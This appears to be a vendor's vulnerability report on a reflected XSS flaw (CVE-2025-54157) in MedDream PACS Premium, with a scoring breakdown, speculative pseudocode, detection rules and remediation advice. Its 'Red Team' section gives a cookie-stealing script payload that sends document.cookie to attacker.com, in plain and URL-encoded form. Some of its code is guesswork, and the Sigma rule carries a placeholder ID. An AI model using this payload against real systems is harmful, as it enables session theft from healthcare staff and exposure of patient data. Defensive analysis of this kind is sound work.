CVE-2025-54157
Executive Summary
CVE-2025-54157 is a reflected cross-site scripting (XSS) vulnerability in the encapsulatedDoc functionality of MedDream PACS Premium version 7.3.6.870. This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of a victim's browser by crafting a malicious URL. The vulnerability has a CVSS score of 6.1 (Medium), and as of this report, no official patch is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks against healthcare PACS systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary medical imaging software (MedDream PACS Premium) and does not involve open-source package supply chain risks.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a crafted URL.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited data modification possible.
- Availability (A): None – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the context of a PACS system handling sensitive medical data elevates the risk. An attacker could steal session tokens, perform actions on behalf of the victim, or exfiltrate patient data.
Deep Dive & Mechanics
The vulnerability resides in the encapsulatedDoc functionality of MedDream PACS Premium. This feature likely handles document encapsulation or embedding within the PACS viewer. The application fails to properly sanitize user-supplied input reflected in the URL, allowing an attacker to inject arbitrary HTML and JavaScript.
Mechanism:
- The application receives a parameter (likely
encapsulatedDocor similar) via a GET request. - This parameter value is reflected directly into the HTML response without proper encoding or validation.
- An attacker crafts a URL containing malicious JavaScript, e.g.,
https://target-pacs/encapsulatedDoc?param=<script>alert('XSS')</script>. - When a victim clicks the link, the browser executes the injected script in the context of the MedDream application.
Root Cause: Lack of output encoding or input validation for the reflected parameter in the encapsulatedDoc endpoint.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (pseudo)
function displayEncapsulatedDoc(param) {
document.getElementById('docContainer').innerHTML = param;
}
A patched version would use proper encoding:
// Patched code (pseudo)
function displayEncapsulatedDoc(param) {
var safeParam = encodeURIComponent(param);
document.getElementById('docContainer').textContent = safeParam;
}
Or server-side encoding:
# Patched server-side (pseudo)
from flask import escape
def handle_request():
param = request.args.get('param', '')
safe_param = escape(param)
return render_template('doc.html', param=safe_param)
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of MedDream PACS Premium 7.3.6.870
- A victim user with access to the application
- A web server to host the exploit (or use a simple payload in the URL)
Exploit Steps:
- Identify the vulnerable parameter (likely
encapsulatedDocor similar). - Craft a malicious URL:
https://target-pacs/encapsulatedDoc?param=<script>alert(document.cookie)</script> - Send the URL to the victim via email, chat, or other means.
- When the victim clicks the link, the JavaScript executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
URL-encoded version:
https://target-pacs/encapsulatedDoc?param=%3Cscript%3Efetch(%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%20%2B%20document.cookie)%3C%2Fscript%3E
Blue Team
Detection Steps:
- Monitor web server logs for suspicious URL patterns containing
<script>,alert(,fetch(, or other JavaScript keywords. - Look for unusual referrer headers or user-agent strings.
- Check for multiple requests to the same endpoint with varying parameters.
Hunting Query (Splunk):
index=web_logs source="/var/log/apache2/access.log"
| search uri_path="/encapsulatedDoc*"
| rex field=uri_query "param=(?<param_value>.*)"
| where match(param_value, "(?i)<script|alert|onerror|javascript:")
| table _time, clientip, uri, param_value
Indicators of Compromise (IOCs)
Network IOCs:
- URLs containing
encapsulatedDocwith encoded or raw JavaScript payloads - Outbound connections to unknown domains from the PACS server
- Unusual HTTP POST requests to the same endpoint
File IOCs:
- Temporary files created by the browser (e.g., in cache) containing injected scripts
- Log entries with XSS patterns
Behavioral IOCs:
- Unexpected JavaScript execution in the browser
- Session token theft or unusual account activity
- Unauthorized data exfiltration attempts
Detection Engineering
YARA Rule
rule MedDream_XSS_CVE_2025_54157 {
meta:
description = "Detects reflected XSS attempts against MedDream PACS encapsulatedDoc endpoint"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-54157"
severity = "medium"
strings:
$xss_pattern1 = /encapsulatedDoc[^&]*<script/i
$xss_pattern2 = /encapsulatedDoc[^&]*alert\(/i
$xss_pattern3 = /encapsulatedDoc[^&]*onerror/i
$xss_pattern4 = /encapsulatedDoc[^&]*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS in MedDream PACS encapsulatedDoc
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against MedDream PACS encapsulatedDoc endpoint
author: Valters IT
date: 2025/01/01
references:
- CVE-2025-54157
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "encapsulatedDoc"
cs-uri-query|contains|any:
- "<script"
- "alert("
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in parameters (unlikely)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54157 MedDream PACS Reflected XSS Attempt"; flow:to_server,established; content:"encapsulatedDoc"; http_uri; nocase; pcre:"/(<script|alert\(|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the encapsulatedDoc functionality if not critical for operations.
- Implement a Web Application Firewall (WAF) rule to block requests containing XSS patterns in the
encapsulatedDocparameter. - Restrict access to the MedDream PACS application to trusted IPs or VPN only.
Long-term Fixes:
- Apply input validation – Reject any parameter containing HTML tags or JavaScript.
- Use output encoding – Encode all user-supplied data before rendering in HTML.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Contact MedDream for an official patch or upgrade to a newer version.
Workaround:
- If the source code is accessible, modify the
encapsulatedDochandler to usetextContentinstead ofinnerHTML.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.